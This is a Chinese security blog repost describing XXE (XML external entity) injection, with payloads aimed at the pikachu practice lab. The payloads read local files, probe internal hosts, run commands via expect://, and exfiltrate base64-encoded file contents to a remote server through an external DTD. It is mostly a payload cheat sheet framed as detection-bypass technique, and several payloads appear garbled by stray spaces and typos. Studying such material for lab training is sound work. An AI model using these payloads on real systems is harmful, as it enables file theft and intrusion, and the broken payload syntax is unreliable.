XML&XXE利用检测绕过

admin 2023年10月26日09:35:49评论24 views字数 1338阅读4分27秒阅读模式

    XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

    利用:输出形式(有回显:协议玩法(http,file,各脚本支持协议)、外部引用,无回显:外部引用-反向链接配合)
过滤绕过(协议玩法,外部引用,编码UTF-16BE)

实例——pikachu
    pikachu-xxe:
    #玩法-读文件

<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///d://test.txt">]><x>&xxe;</x>

    #玩法-内网探针或攻击内网应用(触发漏洞地址)

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [< ! ELEMENT foo ANY ><!ENTITY rabbit SYSTEM "http:/ /192.168.0.103:8081/ index. txt">]><x>&rabbit;</x>

    #玩法-RCE
    该cASE是在安装expect扩展的Hp环境里执行系统命令

<?xml version = "1.0"?><! DOCTYPE ANY [<!ENTITY xxe SYSTEM "expect://id" >]><x>&xxe;</x>

    #引入外部实体dtd

<?xml version="1.0" ?>< ! DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2. dtd">%file;|]><x>&send;</x>evi12. dtd:<! ENTITY send SYSTEM "file: ///d: /test. txt">

    #无回显-读取文件

<?xml version="1.0"?>< !DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/ read=convert.base64-encode/ resource=d:/test. txt"><!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test. dtd">%dtd;%send;]>test. dtd:<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM'http://192.168.0. 103:8081/ ?data=%file; '>>%%payload;

    黑盒检测:通过BP抓包,判断数据格式类型,Content-type值判断(text/xml,application/xml),更改Content-type值看返回

靶场推荐:xxe-lab
    vulnhub靶场 (偏向实际)



原文始发于微信公众号(寒鹭网络安全团队):XML&XXE利用检测绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月26日09:35:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XML&XXE利用检测绕过https://cn-sec.com/archives/2146532.html

发表评论

匿名网友 填写信息